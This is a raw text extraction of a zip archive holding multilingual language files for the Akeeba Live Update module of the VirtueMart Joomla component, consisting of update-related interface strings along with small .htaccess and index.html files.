ласка, зв’яжіться з постачальником послуг хостингу і опишіть цю проблему." LIVEUPDATE_ERROR_NEEDSAUTH="Ви повинні надати ваше ім’я користувача/пароль або ID завантаження в параметрах компоненту перед тим, як намагатися оновитися до останнього випуску. Кнопка оновлення буде залишатися неактивною, доки ви цього не зробите." LIVEUPDATE_HASUPDATES_HEAD="Доступна нова версія" LIVEUPDATE_NOUPDATES_HEAD="У вас уже встановлена остання версія" LIVEUPDATE_CURRENTVERSION="Встановлена версія" LIVEUPDATE_LATESTVERSION="Остання версія" LIVEUPDATE_LATESTRELEASED="Дата останнього випуску" LIVEUPDATE_DOWNLOADURL="URL для безпосереднього завантаження" LIVEUPDATE_REFRESH_INFO="Оновити інформацію" LIVEUPDATE_DO_UPDATE="Оновити до останньої версії" LIVEUPDATE_FTP_REQUIRED="Live Update визначив, що йому потрібно використовувати FTP для завантаження та встановлення вашого оновлення, але ви не зберегли інформацію вашого логіну FTP на сторінці Загальної Конфігурації Joomla! .

      Будь ласка, надайте ім’я користувача і пароль FTP нижче, щоб продовжити процес оновлення." LIVEUPDATE_FTP="Інформація FTP" LIVEUPDATE_FTPUSERNAME="Ім’я користувача FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Завантажити і встановити оновлення" LIVEUPDATE_DOWNLOAD_FAILED="Завантаження пакету оновлень не вдалося. Переконайтесь, що ваш тимчасовий каталог доступний для запису або що ви ввімкнули налаштування FTP в Загальній Конфігурації Joomla!." LIVEUPDATE_EXTRACT_FAILED="Видобування пакету оновлень не вдалося. Будь ласка, спробуйте оновити розширення вручну." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неправильний тип пакету. Оновлення не може бути продовжено." LIVEUPDATE_INSTALLEXT="Встановлення %s %s" LIVEUPDATE_ERROR="Помилка" LIVEUPDATE_SUCCESS="Успішно" LIVEUPDATE_ICON_UNSUPPORTED="Live Update не підтримується" LIVEUPDATE_ICON_CRASHED="Live Update зазнало краху" LIVEUPDATE_ICON_CURRENT="У вас остання версія" LIVEUPDATE_ICON_UPDATES="ЗНАЙДЕНО ОНОВЛЕННЯ! НАТИСНІТЬ ДЛЯ ЗАПУСКУ ОНОВЛЕННЯ."PK@y>\>components/com_virtuemart/liveupdate/language/uk-UA/index.htmlnuW+APK@y>\)=components/com_virtuemart/liveupdate/language/uk-UA/.htaccessnuW+A Order allow,deny Deny from all PK@y>\7OOHcomponents/com_virtuemart/liveupdate/language/en-GB/en-GB.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_CONSIDER_COMPATIBILITY="Before you update your live system, please test the update on a backup system in order to prevent loss of data. Expect small incompatibilities, if you are using 3rd party extensions or your own customizations (plugins, modules, templates)." LIVEUPDATE_CURRENTVERSION="Installed version" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update" LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." LIVEUPDATE_DO_UPDATE="Update to the latest version" LIVEUPDATE_ERROR="Error" LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." LIVEUPDATE_FTP="FTP Information" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

      Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_HASUPDATES_HEAD="A new version is available" LIVEUPDATE_ICON_CRASHED="Live Update crashed" LIVEUPDATE_ICON_CURRENT="You have the latest version" LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE." LIVEUPDATE_INSTALLEXT="Install %s %s" LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." LIVEUPDATE_LATESTRELEASED="Latest release date" LIVEUPDATE_LATESTVERSION="Latest version" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" LIVEUPDATE_REFRESH_INFO="Refresh update information" LIVEUPDATE_REMEMBER_TO_UPDATE_AIO="Remember to update also your plugins and modules, for which you may use the live updater in the VirtueMart-AIO installer." LIVEUPDATE_STABILITY_ALPHA="Alpha" LIVEUPDATE_STABILITY_BETA="Beta" LIVEUPDATE_STABILITY_RC="RC" LIVEUPDATE_STABILITY_STABLE="Stable" LIVEUPDATE_STABILITY_SVN="SVN" LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_SUCCESS="Success" LIVEUPDATE_TASK_OVERVIEW="Live Update"PK@y>\>components/com_virtuemart/liveupdate/language/en-GB/index.htmlnuW+APK@y>\)=components/com_virtuemart/liveupdate/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)=components/com_virtuemart/liveupdate/language/fr-FR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\?""Hcomponents/com_virtuemart/liveupdate/language/fr-FR/fr-FR.liveupdate.ininuW+A; Package Akeeba Backup ; Version fr-FR.liveupdate.ini 2011-07-23 by Sarki ; Copyright (c)2006-2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU GPLv3 or later ; Note : All ini files need to be saved as UTF-8 LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update n'est pas pris en charge sur ce serveur" LIVEUPDATE_NOTSUPPORTED_INFO="Votre serveur indique que Live Update n'est pas supporté. Veuillez contactez votre hébergeur et leur demander d'activer l'extension PHP cURL ou activer la fonction fopen URL () . Si ceux-ci sont déjà activés, veuillez leur demander de configurer leur pare-feu afin qu'il autorise l'accès à l'URL suivante:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vous pouvez toujours mettre à jour %s en visitant notre site manuellement, télécharger la dernière version et l'installer en utilisant l'extension d'installation de Joomla!" LIVEUPDATE_STUCK_HEAD="Live Update a échoué !" LIVEUPDATE_STUCK_INFO="Live Update a échoué la dernière fois qu'il a essayé de contacter le serveur de mise à jour. Cela signifie généralement que votre hébergeur bloque activement les communications avec des sites externes. Si vous souhaitez réessayer de récupérer les informations de mise à jour, cliquez sur le bouton " Rafraichir les informations de mise à jour ". S'il en résulte une page blanche, veuillez contactez votre hébergeur et lui signaler ce problème." LIVEUPDATE_ERROR_NEEDSAUTH="Pour activer le bouton de mise à jour, vous devez fournir votre nom d'utilisateur/mot de passe ( ou votre ID de Téléchargement ) dans les paramètres du composant pour pouvoir mettre à jour vers la dernière version." LIVEUPDATE_HASUPDATES_HEAD="Une nouvelle version est disponible" LIVEUPDATE_NOUPDATES_HEAD="Vous avez la dernière version" LIVEUPDATE_CURRENTVERSION="Version installée" LIVEUPDATE_LATESTVERSION="Dernière version" LIVEUPDATE_LATESTRELEASED="Date de la dernière version " LIVEUPDATE_DOWNLOADURL="URL de téléchargement directe" LIVEUPDATE_REFRESH_INFO="Rafraichir les informations de mise à jour" LIVEUPDATE_DO_UPDATE="Mettre à jour vers la dernière version" LIVEUPDATE_FTP_REQUIRED="Live Update a besoin d'utiliser la couche FTP pour télécharger et installer la mise à jour, mais vous n'avez pas sauvegardé vos informations de connexion FTP dans la Configuration globale de Joomla!

      Veuillez fournir ci-dessous votre nom d'utilisateur et votre mot de passe FTP afin de procéder à la mise à jour." LIVEUPDATE_FTP="Informations FTP" LIVEUPDATE_FTPUSERNAME="Nom d'utilisateur FTP" LIVEUPDATE_FTPPASSWORD="Mot de passe FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Télécharger et installez la mise à jour" LIVEUPDATE_DOWNLOAD_FAILED="Le téléchargement du package de mise à jour a échoué. Assurez-vous que votre répertoire temporaire (tmp) est accessible en écriture et que vous avez activé les options FTP dans la configuration globale de Joomla!." LIVEUPDATE_EXTRACT_FAILED="L'extraction du package de mise à jour a échoué. Veuillez mettre à jour l'extension manuellement." LIVEUPDATE_INVALID_PACKAGE_TYPE="Le type du package n'est pas valide. La mise à jour ne peut pas continuer." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Erreur" LIVEUPDATE_SUCCESS="Réussite" LIVEUPDATE_ICON_UNSUPPORTED="Live Update n'est pas pris en charge" LIVEUPDATE_ICON_CRASHED="Live Update a échoué!" LIVEUPDATE_ICON_CURRENT="Vous avez la dernière version" LIVEUPDATE_ICON_UPDATES="MISE À JOUR ! Cliquez pour l'appliquer..."PK@y>\>components/com_virtuemart/liveupdate/language/fr-FR/index.htmlnuW+APK@y>\8components/com_virtuemart/liveupdate/language/index.htmlnuW+APK@y>\)=components/com_virtuemart/liveupdate/language/pl-PL/.htaccessnuW+A Order allow,deny Deny from all PK@y>\@2R Hcomponents/com_virtuemart/liveupdate/language/pl-PL/pl-PL.liveupdate.ininuW+A; $Id: pl-PL.liveupdate.ini 632 2011-05-22 20:44:46Z nikosdion $ ; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by: Marek Kolka - 'zorro' - http://www.zorro.cal24.pl LIVEUPDATE_TASK_OVERVIEW="Aktualizacja" LIVEUPDATE_NOTSUPPORTED_HEAD="Aktualizacja nie jest obsługiwana na tym serwerze" LIVEUPDATE_NOTSUPPORTED_INFO="Twój serwer sygnalizuje, że Aktualizacja nie jest obsługiwana. Proszę skontaktować się administratorem hosta i poprosić o włączenie rozszerzenia cURL PHP albo aktywowanie URL fopen() wrappers. Jeżeli te są już włączone, poproś o skonfigurowanie firewalla tak, by umożliwił dostęp do następującego adresu URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Zawsze można zaktualizować %s odwiedzając naszeą witrynę ręcznie, pobranie najnowszej wersji i instalacji za pomocą instalatora rozszerzeń Joomla!." LIVEUPDATE_STUCK_HEAD="Aktualizacja oznaczona jako niepowodzenie" LIVEUPDATE_STUCK_INFO="Aktualizacja zaznacza o niepowodzeniu podczas ostatniej próby kontaktu z serwerem aktualizacji. To zwykle wskazuje na hosta, który aktywnie blokuje komunikacje z zewnętrznymi stronami. Jeśli chcesz ponowić próbę pobierania informacje o aktualizacji, kliknij przycisk "Odśwież informacje o aktualizacji" poniżej. Jeśli wynikiem jest pusta strona, proszę skontaktować się z administracją hosta i zgłosić ten problem." LIVEUPDATE_ERROR_NEEDSAUTH="Musisz podać swój login/hasło lub Download ID w parametrach komponentu przed próbą aktualizacji do najnowszej wersji. Przycisk aktualizacji pozostanie wyłączony do czasu aż to zrobisz." LIVEUPDATE_HASUPDATES_HEAD="Nowa wersja jest dostępna" LIVEUPDATE_NOUPDATES_HEAD="Masz już najnowszą wersję" LIVEUPDATE_CURRENTVERSION="Zainstalowana wersja" LIVEUPDATE_LATESTVERSION="Najnowsza wersja" LIVEUPDATE_LATESTRELEASED="Data najnowszej wersji" LIVEUPDATE_DOWNLOADURL="URL bezpośredniego pobierania" LIVEUPDATE_REFRESH_INFO="Odśwież informacje o aktualizacji" LIVEUPDATE_DO_UPDATE="Aktualizacja do najnowszej wersji" LIVEUPDATE_FTP_REQUIRED="Aktualizacja zaznacza, że musi korzystać z protokołu FTP w celu pobrania i zainstalowania aktualizacji, ale nie zostały wcześniej zapisane dane logowania FTP w twojej Konfiguracji Globalnej Joomla!.

      Prosimy o podanie nazwy użytkownika i hasła FTP poniżej, aby kontynuować aktualizację." LIVEUPDATE_FTP="Informacje FTP" LIVEUPDATE_FTPUSERNAME="Login FTP" LIVEUPDATE_FTPPASSWORD="Hasło FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Pobierz i zainstaluj aktualizację" LIVEUPDATE_DOWNLOAD_FAILED="Pobranie pakietu aktualizacji nie powiodło się. Upewnij się, że katalog tymczasowy jest zapisywalny lub, że masz włączoną opcję FTP Joomla! w Konfiguracji Globalnej twojej witryny." LIVEUPDATE_EXTRACT_FAILED="Rozpakowanie pakietu aktualizacji nie powiodło się. Proszę spróbować aktualizacji rozszerzenia ręcznie." LIVEUPDATE_INVALID_PACKAGE_TYPE="Nieprawidłowy typ pakietu. Aktualizacja nie może być kontynuowana." LIVEUPDATE_INSTALLEXT="Instalacja %s %s" LIVEUPDATE_ERROR="Błąd" LIVEUPDATE_SUCCESS="Powodzenie" LIVEUPDATE_ICON_UNSUPPORTED="Aktualizacja nie jest obsługiwana" LIVEUPDATE_ICON_CRASHED="Aktualizacja nie powiodła się" LIVEUPDATE_ICON_CURRENT="Masz najnowszą wersję" LIVEUPDATE_ICON_UPDATES="ZNALEZIONO AKTUALIZACJĘ! Kliknij!."PK@y>\>components/com_virtuemart/liveupdate/language/pl-PL/index.htmlnuW+APK@y>\Hcomponents/com_virtuemart/liveupdate/language/el-GR/el-GR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Απευθείας Ενημέρωση" LIVEUPDATE_NOTSUPPORTED_HEAD="Η Απευθείας Ενημέρωση δεν υποστηρίζεται από αυτόν τον διακομιστή" LIVEUPDATE_NOTSUPPORTED_INFO="Ο διακομιστής σας δείχνει ότι η Απευθείας Ενημέρωση δεν υποστηρίζεται. Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας και ζητήστε του να ενεργοποιήσει την επέκταση cURL της PHP ή τους URL fopen() wrappers. Εάν είναι ήδη ενεργοποιημένα, παρακαλώ ζητήστε του να ανοίξει το τείχος ασφαλείας ώστε να επιτρέπει την πρόσβαση στην παρακάτω διεύθυνση URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Μπορείτε πάντα να ενημερώστε το λογισμικό %s επισκεπτόμενοι τον ιστότοπό μας, κατεβάζοντας την τελευταία έκδοση και εγκαθιστόντας την με την εγκατάσταση εφαρμογών του Joomla!." LIVEUPDATE_STUCK_HEAD="Η Απευθείας Ενημέρωση ανίχνευσε αποτυχία λειτουργίας" LIVEUPDATE_STUCK_INFO="Η Απευθείας Ενημέρωση εντόπισε ότι η τελευταία απόπειρα επικοινωνίας με τον διακομιστή ενημερώσεων κατέληξε σε κόλλημα. Αυτό συνήθως υποδυκνείει έναν πάροχο φιλοξενίας που μπλοκάρει ενεργά τις προσπάθειες επικοινωνίας με εξωετρικούς ιστοχώρους. Εάν θα θέλατε να δοκιμάσετε να ξαναπροσπαθήσουμε να λάβουμε τις πληροφορίες ενημέρωσεις, παρακαλώ κάντε κλικ στο κουμπί "Ανανέωση πληροφοριών ενημερώσεων" πιο κάτω. Εάν αυτό οδηγήσει σε λευκή σελίδα, παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας και αναφέρετε αυτό το πρόβλημα." LIVEUPDATE_ERROR_NEEDSAUTH="Πρέπει να εισάγετε το όνομα χρήστη και συνθηματικό ή το Αναγνωριστικό Μεταφόρτωσης στις παραμέτρους της εφαρμογής πριν προσπαθήσετε να αναβαθμίσετε στην τελευταία έκδοση. Το κουμπί ενημέρωσης θα παραμείνει ανενεργό έως ότου το κάνετε." LIVEUPDATE_HASUPDATES_HEAD="Μια νέα έκδοση είναι διαθέσιμη" LIVEUPDATE_NOUPDATES_HEAD="Έχετε ήδη την τελευταία έκδοση" LIVEUPDATE_CURRENTVERSION="Εγκατεστημένη έκδοση" LIVEUPDATE_LATESTVERSION="Τελευταία έκδοση" LIVEUPDATE_LATESTRELEASED="Ημερομηνία έκδοσης" LIVEUPDATE_DOWNLOADURL="Διεύθυνση απευθείας μεταφόρτωσης" LIVEUPDATE_REFRESH_INFO="Ανανέωση πληροφοριών ενημεερώσεων" LIVEUPDATE_DO_UPDATE="Ενημέρωση στην τελευταία έκδοση" LIVEUPDATE_FTP_REQUIRED="Η Απευθείας Ενημέρωση εντόπισε ότι απαιτείται η χρήση FTP για να μεταφορτώσει και να εγκαταστήσει την ενημέρωσή σας, αλλά δεν έχετε σώσει τις πληροφορίες εισόδου στο FTP στις Γενικές Ρυθμίσεις του Joomla!.

      Παρακαλώ εισάγετε το όνομα χρήστη και το συνθηματικό για το FTP προκειμένου να προχωρήσετε με την ενημέρωση." LIVEUPDATE_FTP="Πληροφορίες FTP" LIVEUPDATE_FTPUSERNAME="Όνομα Χρήστη FTP" LIVEUPDATE_FTPPASSWORD="Συνθηματικό FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Μεταφόρτωση και εγκατάσταση ενημέρωσης" LIVEUPDATE_DOWNLOAD_FAILED="Η μεταφόρτωση του πακέτου ενημέρωσης απέτυχε. Παρακαλώ βεβαιωθείτε ότι ο κάταλογος προσωρινής αποθήκευσης είναι εγγράψιμος ή ότι έχετε ενεργοποιήσει τις επιλογές FTP στις Γενικές Ρυθμίσεις του ιστοχώρου σας." LIVEUPDATE_EXTRACT_FAILED="Η αποσυμπίεση του πακέτου αναβάθμισης απέτυχε. Παρακαλώ δοκιμάστε να εγκαταστήσετε την επέκταση χειροκίνητα." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ο τύπος του πακέτου δεν είναι έγκυρος. Η αναβάθμιση δεν μπορεί να συνεχίσει." LIVEUPDATE_INSTALLEXT="Εγκατάσταση %s %s" LIVEUPDATE_ERROR="Σφάλμα" LIVEUPDATE_SUCCESS="Επιτυχία" LIVEUPDATE_ICON_UNSUPPORTED="Η Απευθείας Ενημέρωση δεν υποστηρίζεται" LIVEUPDATE_ICON_CRASHED="Η Απευθείας Ενημέρωση κόλλησε" LIVEUPDATE_ICON_CURRENT="Έχετε την τελευταία έκδοση" LIVEUPDATE_ICON_UPDATES="ΒΡΕΘΗΚΕ ΕΝΗΜΕΡΩΣΗ! ΚΑΝΤΕ ΚΛΙΚ ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ."PK@y>\)=components/com_virtuemart/liveupdate/language/el-GR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\>components/com_virtuemart/liveupdate/language/el-GR/index.htmlnuW+APK@y>\>components/com_virtuemart/liveupdate/language/da-DK/index.htmlnuW+APK@y>\)=components/com_virtuemart/liveupdate/language/da-DK/.htaccessnuW+A Order allow,deny Deny from all PK@y>\kN Hcomponents/com_virtuemart/liveupdate/language/da-DK/da-DK.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Opdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live opdatering understøttes ikke af denne server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live opdatering ikke er understøttet. Kontakt venligst din udbyder og spørg dem om at aktivere cURL PHP udvidelsen eller aktivere URL fopen() wrappers. Hvis disse allerede er aktive, så spørg dem venligst om at konfigurere deres firewall, således at den tillader adgang til følgende :"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan altid opdatere %s ved at besøge vores side manuelt og hente den seneste udgivelse og derefter installere den ved at bruge Joomla!'s udvidelsesinstaller." LIVEUPDATE_STUCK_HEAD="Live opdatering melder at den gik ned" LIVEUPDATE_STUCK_INFO="Live opdatering opdagede at den gik ned sidste gang den prøvede at kontakte opdateringsserveren. Dette indikerer nomalt en udbyder der aktivt blokerer kommunikation med eksterne sider. Hvis du vil forsøge at hente opdateringsinformationen igen, klik da venligst på "Opdater opdateringsinformation" herunder. Hvis det resulterer i en blank side, så kontakt venligst din udbyder og rapporter dette problem." LIVEUPDATE_ERROR_NEEDSAUTH="Du skal angive dit brugernavn/adgangskode eller Download ID i komponentens indstillinger, før du kan opdatere til den seneste version. Opdateringsknappen vil forblive inaktiv indtil da." LIVEUPDATE_HASUPDATES_HEAD="En ny version er tilgængelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den seneste version" LIVEUPDATE_CURRENTVERSION="Installeret version" LIVEUPDATE_LATESTVERSION="Seneste version" LIVEUPDATE_LATESTRELEASED="Seneste udgivelsesdato" LIVEUPDATE_DOWNLOADURL="Direkte download link" LIVEUPDATE_REFRESH_INFO="Opdater opdateringsinformation" LIVEUPDATE_DO_UPDATE="Opdater til seneste version" LIVEUPDATE_FTP_REQUIRED="Live opdatering har opdaget at den skal bruge FTP for at kunne hente og installere din opdatering, men da du har ikke gemt FTP logind information i din Joomla! globale konfiguration.

      Angiv venligst FTP brugernavn og adgangskode herunder for at fortsætte med opdateringen." LIVEUPDATE_FTP="FTP information" LIVEUPDATE_FTPUSERNAME="FTP Brugernavn" LIVEUPDATE_FTPPASSWORD="FTP Adgangskode" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Hent og installer opdatering" LIVEUPDATE_DOWNLOAD_FAILED="Hentning af opdateringspakken fejlede. Vær venligst sikker på at din temp mappe er skrivbar og at du har aktiveret Joomla!'s FTP mulighed i Joomla!'s globale konfiguration." LIVEUPDATE_EXTRACT_FAILED="Udpakning af opdateringspakken fejlede. Opdater venligst udvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Opdateringen kan ikke fortsætte." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Fejl" LIVEUPDATE_SUCCESS="Korrekt" LIVEUPDATE_ICON_UNSUPPORTED="Live opdatering er ikke understøttet" LIVEUPDATE_ICON_CRASHED="Live opdatering gik ned" LIVEUPDATE_ICON_CURRENT="Du har den seneste version" LIVEUPDATE_ICON_UPDATES="OPDATERING FUNDET! OPDATER NU."PK@y>\mfL L Hcomponents/com_virtuemart/liveupdate/language/nb-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

      Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PK@y>\El>components/com_virtuemart/liveupdate/language/nb-NO/index.htmlnuW+A PK@y>\)=components/com_virtuemart/liveupdate/language/nb-NO/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)=components/com_virtuemart/liveupdate/language/de-DE/.htaccessnuW+A Order allow,deny Deny from all PK@y>\>components/com_virtuemart/liveupdate/language/de-DE/index.htmlnuW+APK@y>\iJJHcomponents/com_virtuemart/liveupdate/language/de-DE/de-DE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_CONSIDER_COMPATIBILITY="Bevor Sie Ihr Live-System aktualisieren, testen Sie das Update bitte auf einem Backup-System, um den Verlust von Daten zu vermeiden. Rechnen Sie mit kleinen Inkompatibilitäten, falls Sie Erweiterungen von Fremdanbietern oder eigene Anpassungen (Plugins, Module, Templates) verwenden." LIVEUPDATE_CURRENTVERSION="Installierte Version" LIVEUPDATE_DOWNLOADURL="Direkte Download-URL" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Aktualisierung herunterladen und installieren" LIVEUPDATE_DOWNLOAD_FAILED="Das Herunterladen des Aktualisierungspakets ist fehlgeschlagen. Bitte stellen Sie sicher, dass Ihr temp-Verzeichnis Schreibrechte besitzt und Sie Ihre FTP-Nutzerdaten in der Joomla!-Konfiguration angegeben haben." LIVEUPDATE_DO_UPDATE="Auf die neueste Version aktualisieren" LIVEUPDATE_ERROR="Fehler" LIVEUPDATE_ERROR_NEEDSAUTH="Bevor Sie eine Echtzeitaktualisierung durchführen können, müssen Sie Ihren Benutzernamen, das Passwort bzw. die Download-ID angeben. Der Aktualisierungsknopf wird solange ohne Funktion bleiben." LIVEUPDATE_EXTRACT_FAILED="Das Auspacken des Aktualisierungspakets ist fehlgeschlagen. Bitte aktualisieren Sie die Erweiterung manuell." LIVEUPDATE_FTP="FTP Informationen" LIVEUPDATE_FTPPASSWORD="FTP Passwort" LIVEUPDATE_FTPUSERNAME="FTP Benutzername" LIVEUPDATE_FTP_REQUIRED="Die Echtzeitaktualisierung hat festgestellt, dass FTP für die Aktualisierung und Installation verwednet werden muss. Sie haben aber noch keine FTP-Daten in der Joomla!-Konfiguraton angegeben.

      BItte geben Sie Ihre FTP-Daten ein, bevor Sie mit der Aktualisierung fortfahren." LIVEUPDATE_HASUPDATES_HEAD="Es gibt eine neue Version" LIVEUPDATE_ICON_CRASHED="Live Update abgestürzt" LIVEUPDATE_ICON_CURRENT="Sie haben die aktuelle Version" LIVEUPDATE_ICON_UNSUPPORTED="Echtzeitaktualisierung nicht unterstützt" LIVEUPDATE_ICON_UPDATES="AKTUALISIERUNG GEFUNDEN! JETZT AKTUALISIEREN." LIVEUPDATE_INSTALLEXT="Installiere %s %s" LIVEUPDATE_INVALID_PACKAGE_TYPE="Falscher Aktualisierungspakettyp. Die Aktualisierung kann nicht durchgeführt werden." LIVEUPDATE_LATESTRELEASED="Neuestes Veröffentlichungsdatum" LIVEUPDATE_LATESTVERSION="Neueste Version" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sie können immer aktualisieren %s indem Sie unsere Internetseite besuchen, die neueste Version herunterladen und ganz normal installieren." LIVEUPDATE_NOTSUPPORTED_HEAD="Die Echtzeitaktualisierung wird auf diesem Server nicht unterstützt" LIVEUPDATE_NOTSUPPORTED_INFO="Ihr Server zeigt an, dass die Echtzeitaktualisierung nicht unterstützt wird. Bitte kontaktieren Sie Ihren Anbieter und bitten ihn, die cURL-PHP-Erweiterung zu aktivieren oder die URL fopen() Wrapper. Sollten diese schon aktviert sein, bitten Sie ihn, die Firewall so zu konfigurieren, dass sie den Zugriff auf folgende URL zulässt:"; 